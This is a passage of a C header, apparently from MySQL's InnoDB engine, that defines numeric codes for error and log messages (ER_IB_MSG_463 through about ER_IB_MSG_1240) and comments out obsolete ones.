ER_IB_MSG_463 12288 #define ER_IB_MSG_464 12289 #define ER_IB_MSG_465 12290 #define ER_IB_MSG_466 12291 #define ER_IB_MSG_467 12292 #define ER_IB_MSG_468 12293 #define ER_IB_MSG_469 12294 #define ER_IB_MSG_470 12295 #define ER_IB_MSG_471 12296 #define ER_IB_MSG_472 12297 #define ER_IB_MSG_473 12298 #define ER_IB_MSG_474 12299 #define ER_IB_MSG_475 12300 #define ER_IB_MSG_476 12301 #define ER_IB_MSG_477 12302 #define ER_IB_MSG_478 12303 #define ER_IB_MSG_479 12304 #define ER_IB_MSG_480 12305 #define ER_IB_MSG_481 12306 #define ER_IB_MSG_482 12307 #define ER_IB_MSG_483 12308 #define ER_IB_MSG_484 12309 #define ER_IB_MSG_485 12310 #define ER_IB_MSG_486 12311 #define ER_IB_MSG_487 12312 #define ER_IB_MSG_488 12313 #define ER_IB_MSG_489 12314 #define ER_IB_MSG_490 12315 #define ER_IB_MSG_491 12316 #define ER_IB_MSG_492 12317 #define ER_IB_MSG_493 12318 #define ER_IB_MSG_494 12319 #define ER_IB_MSG_495 12320 #define ER_IB_MSG_496 12321 #define ER_IB_MSG_497 12322 #define ER_IB_MSG_498 12323 #define ER_IB_MSG_499 12324 #define ER_IB_MSG_500 12325 #define ER_IB_MSG_501 12326 #define ER_IB_MSG_502 12327 #define ER_IB_MSG_503 12328 #define ER_IB_MSG_504 12329 #define ER_IB_MSG_505 12330 #define ER_IB_MSG_506 12331 #define ER_IB_MSG_507 12332 #define ER_IB_MSG_508 12333 #define ER_IB_MSG_509 12334 #define ER_IB_MSG_510 12335 #define ER_IB_MSG_511 12336 #define ER_IB_MSG_512 12337 #define ER_IB_MSG_513 12338 #define ER_IB_MSG_514 12339 #define ER_IB_MSG_515 12340 #define ER_IB_MSG_516 12341 #define ER_IB_MSG_517 12342 #define ER_IB_MSG_518 12343 #define ER_IB_MSG_519 12344 #define ER_IB_MSG_520 12345 #define ER_IB_MSG_521 12346 #define ER_IB_MSG_522 12347 #define ER_IB_MSG_523 12348 #define ER_IB_MSG_524 12349 #define ER_IB_MSG_525 12350 #define ER_IB_MSG_526 12351 #define ER_IB_MSG_527 12352 //#define OBSOLETE_ER_IB_MSG_528 12353 //#define OBSOLETE_ER_IB_MSG_529 12354 #define ER_IB_MSG_530 12355 #define ER_IB_MSG_531 12356 #define ER_IB_MSG_532 12357 #define ER_IB_MSG_533 12358 #define ER_IB_MSG_534 12359 //#define OBSOLETE_ER_IB_MSG_535 12360 //#define OBSOLETE_ER_IB_MSG_536 12361 #define ER_IB_MSG_537 12362 #define ER_IB_MSG_538 12363 #define ER_IB_MSG_539 12364 #define ER_IB_MSG_540 12365 #define ER_IB_MSG_541 12366 #define ER_IB_MSG_542 12367 #define ER_IB_MSG_543 12368 #define ER_IB_MSG_544 12369 #define ER_IB_MSG_545 12370 #define ER_IB_MSG_546 12371 #define ER_IB_MSG_547 12372 #define ER_IB_MSG_548 12373 #define ER_IB_MSG_549 12374 #define ER_IB_MSG_550 12375 #define ER_IB_MSG_551 12376 #define ER_IB_MSG_552 12377 #define ER_IB_MSG_553 12378 #define ER_IB_MSG_554 12379 #define ER_IB_MSG_555 12380 #define ER_IB_MSG_556 12381 #define ER_IB_MSG_557 12382 #define ER_IB_MSG_558 12383 #define ER_IB_MSG_559 12384 #define ER_IB_MSG_560 12385 #define ER_IB_MSG_561 12386 #define ER_IB_MSG_562 12387 #define ER_IB_MSG_563 12388 #define ER_IB_MSG_564 12389 #define ER_IB_MSG_INVALID_LOCATION_FOR_TABLE 12390 #define ER_IB_MSG_566 12391 #define ER_IB_MSG_567 12392 #define ER_IB_MSG_568 12393 #define ER_IB_MSG_569 12394 #define ER_IB_MSG_570 12395 #define ER_IB_MSG_571 12396 //#define OBSOLETE_ER_IB_MSG_572 12397 #define ER_IB_MSG_573 12398 #define ER_IB_MSG_574 12399 //#define OBSOLETE_ER_IB_MSG_575 12400 //#define OBSOLETE_ER_IB_MSG_576 12401 //#define OBSOLETE_ER_IB_MSG_577 12402 #define ER_IB_MSG_578 12403 #define ER_IB_MSG_579 12404 #define ER_IB_MSG_580 12405 #define ER_IB_MSG_581 12406 #define ER_IB_MSG_582 12407 #define ER_IB_MSG_583 12408 #define ER_IB_MSG_584 12409 #define ER_IB_MSG_585 12410 #define ER_IB_MSG_586 12411 #define ER_IB_MSG_587 12412 #define ER_IB_MSG_588 12413 #define ER_IB_MSG_589 12414 #define ER_IB_MSG_590 12415 #define ER_IB_MSG_591 12416 #define ER_IB_MSG_592 12417 #define ER_IB_MSG_593 12418 #define ER_IB_MSG_594 12419 #define ER_IB_MSG_595 12420 #define ER_IB_MSG_596 12421 #define ER_IB_MSG_597 12422 #define ER_IB_MSG_598 12423 #define ER_IB_MSG_599 12424 #define ER_IB_MSG_600 12425 #define ER_IB_MSG_601 12426 #define ER_IB_MSG_602 12427 #define ER_IB_MSG_603 12428 #define ER_IB_MSG_604 12429 #define ER_IB_MSG_605 12430 #define ER_IB_MSG_606 12431 #define ER_IB_MSG_607 12432 #define ER_IB_MSG_608 12433 #define ER_IB_MSG_609 12434 #define ER_IB_MSG_610 12435 #define ER_IB_MSG_611 12436 #define ER_IB_MSG_612 12437 #define ER_IB_MSG_613 12438 #define ER_IB_MSG_614 12439 #define ER_IB_MSG_615 12440 #define ER_IB_MSG_616 12441 #define ER_IB_MSG_617 12442 #define ER_IB_MSG_618 12443 #define ER_IB_MSG_619 12444 #define ER_IB_MSG_620 12445 #define ER_IB_MSG_621 12446 #define ER_IB_MSG_622 12447 #define ER_IB_MSG_623 12448 #define ER_IB_MSG_624 12449 #define ER_IB_MSG_625 12450 #define ER_IB_MSG_626 12451 #define ER_IB_MSG_627 12452 #define ER_IB_MSG_628 12453 #define ER_IB_MSG_629 12454 #define ER_IB_MSG_630 12455 #define ER_IB_MSG_631 12456 #define ER_IB_MSG_632 12457 #define ER_IB_MSG_633 12458 #define ER_IB_MSG_634 12459 #define ER_IB_MSG_635 12460 #define ER_IB_MSG_636 12461 #define ER_IB_MSG_637 12462 #define ER_IB_MSG_638 12463 #define ER_IB_MSG_639 12464 //#define OBSOLETE_ER_IB_MSG_640 12465 //#define OBSOLETE_ER_IB_MSG_641 12466 #define ER_IB_MSG_642 12467 #define ER_IB_MSG_643 12468 #define ER_IB_MSG_644 12469 #define ER_IB_MSG_645 12470 #define ER_IB_MSG_646 12471 #define ER_IB_MSG_647 12472 #define ER_IB_MSG_648 12473 #define ER_IB_MSG_649 12474 #define ER_IB_MSG_650 12475 #define ER_IB_MSG_651 12476 #define ER_IB_MSG_652 12477 #define ER_IB_MSG_DDL_LOG_DELETE_BY_ID_OK 12478 #define ER_IB_MSG_654 12479 #define ER_IB_MSG_655 12480 #define ER_IB_MSG_656 12481 #define ER_IB_MSG_657 12482 #define ER_IB_MSG_658 12483 #define ER_IB_MSG_659 12484 #define ER_IB_MSG_660 12485 #define ER_IB_MSG_661 12486 #define ER_IB_MSG_662 12487 #define ER_IB_MSG_663 12488 //#define OBSOLETE_ER_IB_MSG_664 12489 //#define OBSOLETE_ER_IB_MSG_665 12490 //#define OBSOLETE_ER_IB_MSG_666 12491 //#define OBSOLETE_ER_IB_MSG_667 12492 //#define OBSOLETE_ER_IB_MSG_668 12493 //#define OBSOLETE_ER_IB_MSG_669 12494 //#define OBSOLETE_ER_IB_MSG_670 12495 //#define OBSOLETE_ER_IB_MSG_671 12496 //#define OBSOLETE_ER_IB_MSG_672 12497 //#define OBSOLETE_ER_IB_MSG_673 12498 //#define OBSOLETE_ER_IB_MSG_674 12499 //#define OBSOLETE_ER_IB_MSG_675 12500 //#define OBSOLETE_ER_IB_MSG_676 12501 //#define OBSOLETE_ER_IB_MSG_677 12502 //#define OBSOLETE_ER_IB_MSG_678 12503 //#define OBSOLETE_ER_IB_MSG_679 12504 //#define OBSOLETE_ER_IB_MSG_680 12505 //#define OBSOLETE_ER_IB_MSG_681 12506 //#define OBSOLETE_ER_IB_MSG_682 12507 //#define OBSOLETE_ER_IB_MSG_683 12508 //#define OBSOLETE_ER_IB_MSG_684 12509 //#define OBSOLETE_ER_IB_MSG_685 12510 //#define OBSOLETE_ER_IB_MSG_686 12511 //#define OBSOLETE_ER_IB_MSG_687 12512 //#define OBSOLETE_ER_IB_MSG_688 12513 //#define OBSOLETE_ER_IB_MSG_689 12514 //#define OBSOLETE_ER_IB_MSG_690 12515 //#define OBSOLETE_ER_IB_MSG_691 12516 //#define OBSOLETE_ER_IB_MSG_692 12517 //#define OBSOLETE_ER_IB_MSG_693 12518 #define ER_IB_MSG_694 12519 #define ER_IB_MSG_695 12520 #define ER_IB_MSG_696 12521 #define ER_IB_MSG_697 12522 #define ER_IB_MSG_LOG_CORRUPT 12523 #define ER_IB_MSG_699 12524 #define ER_IB_MSG_LOG_FORMAT_OLD_AND_LOG_CORRUPTED 12525 #define ER_IB_MSG_LOG_FORMAT_OLD_AND_NO_CLEAN_SHUTDOWN 12526 //#define OBSOLETE_ER_IB_MSG_702 12527 //#define OBSOLETE_ER_IB_MSG_703 12528 #define ER_IB_MSG_LOG_FORMAT_BEFORE_8_0_30 12529 #define ER_IB_MSG_LOG_FILE_FORMAT_UNKNOWN 12530 #define ER_IB_MSG_RECOVERY_CHECKPOINT_NOT_FOUND 12531 #define ER_IB_MSG_707 12532 #define ER_IB_MSG_708 12533 #define ER_IB_MSG_709 12534 #define ER_IB_MSG_710 12535 #define ER_IB_MSG_711 12536 #define ER_IB_MSG_712 12537 #define ER_IB_MSG_713 12538 #define ER_IB_MSG_714 12539 #define ER_IB_MSG_715 12540 #define ER_IB_MSG_716 12541 #define ER_IB_MSG_717 12542 #define ER_IB_MSG_718 12543 #define ER_IB_MSG_719 12544 #define ER_IB_MSG_720 12545 #define ER_IB_MSG_RECOVERY_SKIPPED_IN_READ_ONLY_MODE 12546 #define ER_IB_MSG_722 12547 #define ER_IB_MSG_723 12548 #define ER_IB_MSG_724 12549 #define ER_IB_MSG_725 12550 #define ER_IB_MSG_726 12551 #define ER_IB_MSG_727 12552 #define ER_IB_MSG_728 12553 #define ER_IB_MSG_LOG_FILES_CREATED_BY_MEB_AND_READ_ONLY_MODE 12554 #define ER_IB_MSG_LOG_FILES_CREATED_BY_MEB 12555 #define ER_IB_MSG_LOG_FILES_CREATED_BY_CLONE 12556 #define ER_IB_MSG_LOG_FORMAT_OLD 12557 //#define OBSOLETE_ER_IB_MSG_LOG_FORMAT_NOT_SUPPORTED 12558 #define ER_IB_MSG_RECOVERY_CHECKPOINT_FROM_BEFORE_CLEAN_SHUTDOWN 12559 #define ER_IB_MSG_RECOVERY_IS_NEEDED 12560 #define ER_IB_MSG_RECOVERY_IN_READ_ONLY 12561 #define ER_IB_MSG_737 12562 #define ER_IB_MSG_738 12563 #define ER_IB_MSG_739 12564 #define ER_IB_MSG_740 12565 #define ER_IB_MSG_741 12566 #define ER_IB_MSG_742 12567 #define ER_IB_MSG_743 12568 #define ER_IB_MSG_744 12569 #define ER_IB_MSG_745 12570 #define ER_IB_MSG_746 12571 #define ER_IB_MSG_747 12572 #define ER_IB_MSG_748 12573 #define ER_IB_MSG_749 12574 #define ER_IB_MSG_750 12575 #define ER_IB_MSG_751 12576 #define ER_IB_MSG_752 12577 #define ER_IB_MSG_753 12578 #define ER_IB_MSG_754 12579 #define ER_IB_MSG_755 12580 #define ER_IB_MSG_756 12581 #define ER_IB_MSG_757 12582 #define ER_IB_MSG_758 12583 #define ER_IB_MSG_759 12584 #define ER_IB_MSG_760 12585 #define ER_IB_MSG_761 12586 #define ER_IB_MSG_762 12587 #define ER_IB_MSG_763 12588 #define ER_IB_MSG_764 12589 #define ER_IB_MSG_765 12590 #define ER_IB_MSG_766 12591 #define ER_IB_MSG_767 12592 #define ER_IB_MSG_768 12593 #define ER_IB_MSG_769 12594 #define ER_IB_MSG_770 12595 #define ER_IB_MSG_771 12596 #define ER_IB_MSG_772 12597 #define ER_IB_MSG_773 12598 #define ER_IB_MSG_774 12599 #define ER_IB_MSG_775 12600 #define ER_IB_MSG_776 12601 #define ER_IB_MSG_777 12602 #define ER_IB_MSG_778 12603 #define ER_IB_MSG_779 12604 #define ER_IB_MSG_780 12605 #define ER_IB_MSG_781 12606 #define ER_IB_MSG_782 12607 #define ER_IB_MSG_783 12608 #define ER_IB_MSG_784 12609 #define ER_IB_MSG_785 12610 #define ER_IB_MSG_786 12611 #define ER_IB_MSG_787 12612 #define ER_IB_MSG_788 12613 #define ER_IB_MSG_789 12614 #define ER_IB_MSG_790 12615 #define ER_IB_MSG_791 12616 #define ER_IB_MSG_792 12617 #define ER_IB_MSG_793 12618 #define ER_IB_MSG_794 12619 #define ER_IB_MSG_795 12620 #define ER_IB_MSG_796 12621 #define ER_IB_MSG_797 12622 #define ER_IB_MSG_798 12623 #define ER_IB_MSG_799 12624 //#define OBSOLETE_ER_IB_MSG_800 12625 #define ER_IB_MSG_801 12626 #define ER_IB_MSG_802 12627 #define ER_IB_MSG_803 12628 #define ER_IB_MSG_804 12629 #define ER_IB_MSG_805 12630 #define ER_IB_MSG_806 12631 #define ER_IB_MSG_807 12632 #define ER_IB_MSG_808 12633 #define ER_IB_MSG_809 12634 #define ER_IB_MSG_810 12635 #define ER_IB_MSG_811 12636 #define ER_IB_MSG_812 12637 #define ER_IB_MSG_813 12638 #define ER_IB_MSG_814 12639 #define ER_IB_MSG_815 12640 #define ER_IB_MSG_816 12641 #define ER_IB_MSG_817 12642 #define ER_IB_MSG_818 12643 #define ER_IB_MSG_819 12644 #define ER_IB_MSG_820 12645 #define ER_IB_MSG_821 12646 #define ER_IB_MSG_822 12647 #define ER_IB_MSG_823 12648 #define ER_IB_MSG_824 12649 #define ER_IB_MSG_825 12650 #define ER_IB_MSG_826 12651 #define ER_IB_MSG_827 12652 #define ER_IB_MSG_828 12653 #define ER_IB_MSG_829 12654 #define ER_IB_MSG_830 12655 #define ER_IB_MSG_831 12656 #define ER_IB_MSG_832 12657 #define ER_IB_MSG_833 12658 #define ER_IB_MSG_834 12659 #define ER_IB_MSG_835 12660 #define ER_IB_MSG_836 12661 #define ER_IB_MSG_837 12662 #define ER_IB_MSG_838 12663 #define ER_IB_MSG_839 12664 #define ER_IB_MSG_840 12665 #define ER_IB_MSG_841 12666 #define ER_IB_MSG_842 12667 #define ER_IB_MSG_CANT_ENCRYPT_REDO_LOG_DATA 12668 #define ER_IB_MSG_844 12669 #define ER_IB_MSG_845 12670 #define ER_IB_MSG_CANT_DECRYPT_REDO_LOG 12671 #define ER_IB_MSG_847 12672 #define ER_IB_MSG_848 12673 #define ER_IB_MSG_849 12674 #define ER_IB_MSG_850 12675 #define ER_IB_MSG_851 12676 #define ER_IB_MSG_852 12677 #define ER_IB_MSG_853 12678 #define ER_IB_MSG_854 12679 #define ER_IB_MSG_855 12680 #define ER_IB_MSG_856 12681 #define ER_IB_MSG_857 12682 #define ER_IB_MSG_858 12683 #define ER_IB_MSG_859 12684 #define ER_IB_MSG_860 12685 #define ER_IB_MSG_861 12686 #define ER_IB_MSG_862 12687 #define ER_IB_MSG_863 12688 #define ER_IB_MSG_864 12689 #define ER_IB_MSG_865 12690 #define ER_IB_MSG_866 12691 #define ER_IB_MSG_867 12692 #define ER_IB_MSG_868 12693 #define ER_IB_MSG_869 12694 #define ER_IB_MSG_870 12695 #define ER_IB_MSG_871 12696 #define ER_IB_MSG_872 12697 #define ER_IB_MSG_873 12698 #define ER_IB_MSG_874 12699 #define ER_IB_MSG_875 12700 #define ER_IB_MSG_876 12701 #define ER_IB_MSG_877 12702 #define ER_IB_MSG_878 12703 #define ER_IB_MSG_879 12704 #define ER_IB_MSG_880 12705 #define ER_IB_MSG_881 12706 #define ER_IB_MSG_882 12707 #define ER_IB_MSG_883 12708 #define ER_IB_MSG_884 12709 #define ER_IB_MSG_885 12710 #define ER_IB_MSG_886 12711 #define ER_IB_MSG_887 12712 #define ER_IB_MSG_888 12713 #define ER_IB_MSG_889 12714 #define ER_IB_MSG_890 12715 #define ER_IB_MSG_891 12716 #define ER_IB_MSG_892 12717 #define ER_IB_MSG_893 12718 #define ER_IB_MSG_894 12719 #define ER_IB_MSG_895 12720 #define ER_IB_MSG_896 12721 #define ER_IB_MSG_897 12722 #define ER_IB_MSG_898 12723 #define ER_IB_MSG_899 12724 #define ER_IB_MSG_900 12725 #define ER_IB_MSG_901 12726 #define ER_IB_MSG_902 12727 #define ER_IB_MSG_903 12728 #define ER_IB_MSG_904 12729 #define ER_IB_MSG_905 12730 #define ER_IB_MSG_906 12731 #define ER_IB_MSG_907 12732 #define ER_IB_MSG_908 12733 #define ER_IB_MSG_909 12734 #define ER_IB_MSG_910 12735 #define ER_IB_MSG_911 12736 #define ER_IB_MSG_912 12737 #define ER_IB_MSG_913 12738 #define ER_IB_MSG_914 12739 #define ER_IB_MSG_915 12740 #define ER_IB_MSG_916 12741 #define ER_IB_MSG_917 12742 #define ER_IB_MSG_918 12743 #define ER_IB_MSG_919 12744 #define ER_IB_MSG_920 12745 #define ER_IB_MSG_921 12746 #define ER_IB_MSG_922 12747 #define ER_IB_MSG_923 12748 #define ER_IB_MSG_924 12749 #define ER_IB_MSG_925 12750 #define ER_IB_MSG_926 12751 #define ER_IB_MSG_927 12752 #define ER_IB_MSG_928 12753 #define ER_IB_MSG_929 12754 #define ER_IB_MSG_930 12755 #define ER_IB_MSG_931 12756 #define ER_IB_MSG_932 12757 #define ER_IB_MSG_933 12758 #define ER_IB_MSG_934 12759 #define ER_IB_MSG_935 12760 #define ER_IB_MSG_936 12761 #define ER_IB_MSG_937 12762 #define ER_IB_MSG_938 12763 #define ER_IB_MSG_939 12764 #define ER_IB_MSG_940 12765 #define ER_IB_MSG_941 12766 #define ER_IB_MSG_942 12767 #define ER_IB_MSG_943 12768 #define ER_IB_MSG_944 12769 #define ER_IB_MSG_945 12770 #define ER_IB_MSG_946 12771 #define ER_IB_MSG_947 12772 #define ER_IB_MSG_948 12773 #define ER_IB_MSG_949 12774 #define ER_IB_MSG_950 12775 #define ER_IB_MSG_951 12776 #define ER_IB_MSG_952 12777 #define ER_IB_MSG_953 12778 #define ER_IB_MSG_954 12779 #define ER_IB_MSG_955 12780 #define ER_IB_MSG_956 12781 #define ER_IB_MSG_957 12782 #define ER_IB_MSG_958 12783 #define ER_IB_MSG_959 12784 #define ER_IB_MSG_960 12785 #define ER_IB_MSG_961 12786 #define ER_IB_MSG_962 12787 #define ER_IB_MSG_963 12788 #define ER_IB_MSG_964 12789 #define ER_IB_MSG_965 12790 #define ER_IB_MSG_966 12791 #define ER_IB_MSG_967 12792 #define ER_IB_MSG_968 12793 #define ER_IB_MSG_969 12794 #define ER_IB_MSG_970 12795 #define ER_IB_MSG_971 12796 #define ER_IB_MSG_972 12797 #define ER_IB_MSG_973 12798 #define ER_IB_MSG_974 12799 #define ER_IB_MSG_975 12800 #define ER_IB_MSG_976 12801 #define ER_IB_MSG_977 12802 #define ER_IB_MSG_978 12803 #define ER_IB_MSG_979 12804 #define ER_IB_MSG_980 12805 #define ER_IB_MSG_981 12806 #define ER_IB_MSG_982 12807 #define ER_IB_MSG_983 12808 #define ER_IB_MSG_984 12809 #define ER_IB_MSG_985 12810 #define ER_IB_MSG_986 12811 #define ER_IB_MSG_987 12812 #define ER_IB_MSG_988 12813 #define ER_IB_MSG_989 12814 #define ER_IB_MSG_990 12815 #define ER_IB_MSG_991 12816 #define ER_IB_MSG_992 12817 #define ER_IB_MSG_993 12818 #define ER_IB_MSG_994 12819 #define ER_IB_MSG_995 12820 #define ER_IB_MSG_996 12821 #define ER_IB_MSG_997 12822 #define ER_IB_MSG_998 12823 #define ER_IB_MSG_999 12824 #define ER_IB_MSG_1000 12825 #define ER_IB_MSG_1001 12826 #define ER_IB_MSG_1002 12827 #define ER_IB_MSG_1003 12828 #define ER_IB_MSG_1004 12829 #define ER_IB_MSG_1005 12830 #define ER_IB_MSG_1006 12831 #define ER_IB_MSG_1007 12832 #define ER_IB_MSG_1008 12833 #define ER_IB_MSG_1009 12834 #define ER_IB_MSG_1010 12835 #define ER_IB_MSG_1011 12836 #define ER_IB_MSG_1012 12837 #define ER_IB_MSG_1013 12838 #define ER_IB_MSG_1014 12839 #define ER_IB_MSG_1015 12840 #define ER_IB_MSG_1016 12841 #define ER_IB_MSG_1017 12842 #define ER_IB_MSG_1018 12843 #define ER_IB_MSG_1019 12844 #define ER_IB_MSG_1020 12845 #define ER_IB_MSG_1021 12846 #define ER_IB_MSG_1022 12847 #define ER_IB_MSG_1023 12848 #define ER_IB_MSG_1024 12849 #define ER_IB_MSG_1025 12850 #define ER_IB_MSG_1026 12851 #define ER_IB_MSG_1027 12852 #define ER_IB_MSG_1028 12853 #define ER_IB_MSG_1029 12854 #define ER_IB_MSG_1030 12855 #define ER_IB_MSG_1031 12856 #define ER_IB_MSG_1032 12857 #define ER_IB_MSG_1033 12858 #define ER_IB_MSG_1034 12859 #define ER_IB_MSG_1035 12860 #define ER_IB_MSG_1036 12861 #define ER_IB_MSG_1037 12862 #define ER_IB_MSG_1038 12863 #define ER_IB_MSG_1039 12864 #define ER_IB_MSG_1040 12865 #define ER_IB_MSG_1041 12866 #define ER_IB_MSG_1042 12867 #define ER_IB_MSG_1043 12868 #define ER_IB_MSG_1044 12869 #define ER_IB_MSG_1045 12870 #define ER_IB_MSG_1046 12871 #define ER_IB_MSG_1047 12872 #define ER_IB_MSG_1048 12873 #define ER_IB_MSG_1049 12874 //#define OBSOLETE_ER_IB_MSG_1050 12875 #define ER_IB_MSG_1051 12876 #define ER_IB_MSG_1052 12877 #define ER_IB_MSG_1053 12878 #define ER_IB_MSG_1054 12879 #define ER_IB_MSG_1055 12880 #define ER_IB_MSG_1056 12881 #define ER_IB_MSG_1057 12882 #define ER_IB_MSG_1058 12883 #define ER_IB_MSG_1059 12884 #define ER_IB_MSG_1060 12885 #define ER_IB_MSG_LOG_FILE_OS_CREATE_FAILED 12886 #define ER_IB_MSG_FILE_RESIZE 12887 #define ER_IB_MSG_LOG_FILE_RESIZE_FAILED 12888 #define ER_IB_MSG_LOG_FILES_CREATE_AND_READ_ONLY_MODE 12889 #define ER_IB_MSG_1065 12890 #define ER_IB_MSG_LOG_FILE_PREPARE_ON_CREATE_FAILED 12891 //#define OBSOLETE_ER_IB_MSG_1067 12892 #define ER_IB_MSG_LOG_FILES_INITIALIZED 12893 #define ER_IB_MSG_LOG_FILE_OPEN_FAILED 12894 #define ER_IB_MSG_1070 12895 #define ER_IB_MSG_1071 12896 #define ER_IB_MSG_1072 12897 #define ER_IB_MSG_1073 12898 #define ER_IB_MSG_1074 12899 #define ER_IB_MSG_1075 12900 #define ER_IB_MSG_1076 12901 #define ER_IB_MSG_1077 12902 #define ER_IB_MSG_1078 12903 #define ER_IB_MSG_1079 12904 #define ER_IB_MSG_1080 12905 #define ER_IB_MSG_1081 12906 #define ER_IB_MSG_1082 12907 #define ER_IB_MSG_1083 12908 #define ER_IB_MSG_CANNOT_OPEN_57_UNDO 12909 #define ER_IB_MSG_1085 12910 #define ER_IB_MSG_1086 12911 #define ER_IB_MSG_1087 12912 #define ER_IB_MSG_1088 12913 #define ER_IB_MSG_1089 12914 #define ER_IB_MSG_1090 12915 #define ER_IB_MSG_1091 12916 #define ER_IB_MSG_1092 12917 #define ER_IB_MSG_1093 12918 #define ER_IB_MSG_1094 12919 #define ER_IB_MSG_1095 12920 #define ER_IB_MSG_1096 12921 #define ER_IB_MSG_1097 12922 #define ER_IB_MSG_1098 12923 #define ER_IB_MSG_1099 12924 #define ER_IB_MSG_1100 12925 #define ER_IB_MSG_1101 12926 #define ER_IB_MSG_1102 12927 #define ER_IB_MSG_1103 12928 #define ER_IB_MSG_1104 12929 #define ER_IB_MSG_1105 12930 #define ER_IB_MSG_BUF_PENDING_IO 12931 #define ER_IB_MSG_1107 12932 #define ER_IB_MSG_1108 12933 #define ER_IB_MSG_1109 12934 #define ER_IB_MSG_1110 12935 #define ER_IB_MSG_1111 12936 #define ER_IB_MSG_1112 12937 #define ER_IB_MSG_1113 12938 #define ER_IB_MSG_1114 12939 #define ER_IB_MSG_1115 12940 #define ER_IB_MSG_1116 12941 #define ER_IB_MSG_1117 12942 //#define OBSOLETE_ER_IB_MSG_1118 12943 #define ER_IB_MSG_1119 12944 #define ER_IB_MSG_1120 12945 #define ER_IB_MSG_1121 12946 #define ER_IB_MSG_1122 12947 #define ER_IB_MSG_1123 12948 #define ER_IB_MSG_1124 12949 #define ER_IB_MSG_1125 12950 #define ER_IB_MSG_1126 12951 #define ER_IB_MSG_1127 12952 #define ER_IB_MSG_1128 12953 #define ER_IB_MSG_1129 12954 #define ER_IB_MSG_1130 12955 #define ER_IB_MSG_1131 12956 #define ER_IB_MSG_1132 12957 #define ER_IB_MSG_1133 12958 #define ER_IB_MSG_1134 12959 #define ER_IB_MSG_DATA_DIRECTORY_NOT_INITIALIZED_OR_CORRUPTED 12960 #define ER_IB_MSG_LOG_FILES_INVALID_SET 12961 #define ER_IB_MSG_LOG_FILE_SIZE_INVALID 12962 #define ER_IB_MSG_LOG_FILES_DIFFERENT_SIZES 12963 #define ER_IB_MSG_1139 12964 #define ER_IB_MSG_RECOVERY_CORRUPT 12965 //#define OBSOLETE_ER_IB_MSG_LOG_FILES_RESIZE_ON_START_IN_READ_ONLY_MODE 12966 #define ER_IB_MSG_1142 12967 #define ER_IB_MSG_LOG_FILES_REWRITING 12968 #define ER_IB_MSG_1144 12969 #define ER_IB_MSG_1145 12970 #define ER_IB_MSG_1146 12971 #define ER_IB_MSG_1147 12972 #define ER_IB_MSG_1148 12973 #define ER_IB_MSG_1149 12974 #define ER_IB_MSG_1150 12975 #define ER_IB_MSG_1151 12976 #define ER_IB_MSG_1152 12977 //#define OBSOLETE_ER_IB_MSG_1153 12978 #define ER_IB_MSG_1154 12979 #define ER_IB_MSG_1155 12980 #define ER_IB_MSG_1156 12981 #define ER_IB_MSG_1157 12982 #define ER_IB_MSG_1158 12983 #define ER_IB_MSG_1159 12984 #define ER_IB_MSG_1160 12985 #define ER_IB_MSG_1161 12986 #define ER_IB_MSG_1162 12987 #define ER_IB_MSG_1163 12988 #define ER_IB_MSG_1164 12989 #define ER_IB_MSG_1165 12990 #define ER_IB_MSG_UNDO_TRUNCATE_FAIL_TO_READ_LOG_FILE 12991 #define ER_IB_MSG_UNDO_MARKED_FOR_TRUNCATE 12992 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_MDL 12993 #define ER_IB_MSG_UNDO_TRUNCATE_START 12994 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_DDL_LOG_START 12995 #define ER_IB_MSG_UNDO_TRUNCATE_DELAY_BY_LOG_CREATE 12996 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_TRUNCATE 12997 #define ER_IB_MSG_UNDO_TRUNCATE_DELAY_BY_FAILURE 12998 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_BEFORE_STATE_UPDATE 12999 #define ER_IB_MSG_UNDO_TRUNCATE_COMPLETE 13000 //#define OBSOLETE_ER_IB_MSG_UNDO_INJECT_TRUNCATE_DONE 13001 #define ER_IB_MSG_1177 13002 #define ER_IB_MSG_1178 13003 #define ER_IB_MSG_1179 13004 #define ER_IB_MSG_1180 13005 #define ER_IB_MSG_1181 13006 #define ER_IB_MSG_1182 13007 #define ER_IB_MSG_1183 13008 #define ER_IB_MSG_1184 13009 #define ER_IB_MSG_1185 13010 #define ER_IB_MSG_1186 13011 #define ER_IB_MSG_1187 13012 #define ER_IB_MSG_1188 13013 #define ER_IB_MSG_1189 13014 #define ER_IB_MSG_TRX_RECOVERY_ROLLBACK_COMPLETED 13015 #define ER_IB_MSG_1191 13016 #define ER_IB_MSG_1192 13017 #define ER_IB_MSG_1193 13018 #define ER_IB_MSG_1194 13019 #define ER_IB_MSG_1195 13020 #define ER_IB_MSG_1196 13021 #define ER_IB_MSG_1197 13022 #define ER_IB_MSG_1198 13023 #define ER_IB_MSG_1199 13024 #define ER_IB_MSG_1200 13025 #define ER_IB_MSG_1201 13026 #define ER_IB_MSG_1202 13027 #define ER_IB_MSG_1203 13028 #define ER_IB_MSG_1204 13029 #define ER_IB_MSG_1205 13030 #define ER_IB_MSG_1206 13031 #define ER_IB_MSG_1207 13032 #define ER_IB_MSG_1208 13033 #define ER_IB_MSG_1209 13034 #define ER_IB_MSG_1210 13035 #define ER_IB_MSG_1211 13036 #define ER_IB_MSG_1212 13037 #define ER_IB_MSG_1213 13038 #define ER_IB_MSG_1214 13039 #define ER_IB_MSG_1215 13040 #define ER_IB_MSG_LOG_FILES_RESIZE_ON_START 13041 #define ER_IB_MSG_1217 13042 #define ER_IB_MSG_1218 13043 #define ER_IB_MSG_1219 13044 #define ER_IB_MSG_1220 13045 #define ER_IB_MSG_1221 13046 #define ER_IB_MSG_1222 13047 #define ER_IB_MSG_1223 13048 #define ER_IB_MSG_1224 13049 #define ER_IB_MSG_1225 13050 #define ER_IB_MSG_1226 13051 #define ER_IB_MSG_1227 13052 #define ER_IB_MSG_1228 13053 #define ER_IB_MSG_1229 13054 //#define OBSOLETE_ER_IB_MSG_1230 13055 #define ER_IB_MSG_1231 13056 //#define OBSOLETE_ER_IB_MSG_1232 13057 #define ER_IB_MSG_1233 13058 #define ER_IB_MSG_LOG_WRITER_OUT_OF_SPACE 13059 #define ER_IB_MSG_1235 13060 #define ER_IB_MSG_LOG_WRITER_ABORTS_LOG_ARCHIVER 13061 #define ER_IB_MSG_LOG_WRITER_WAITING_FOR_ARCHIVER 13062 #define ER_IB_MSG_1238 13063 #define ER_IB_MSG_1239 13064 //#define OBSOLETE_ER_IB_MSG_1240 13065 #define 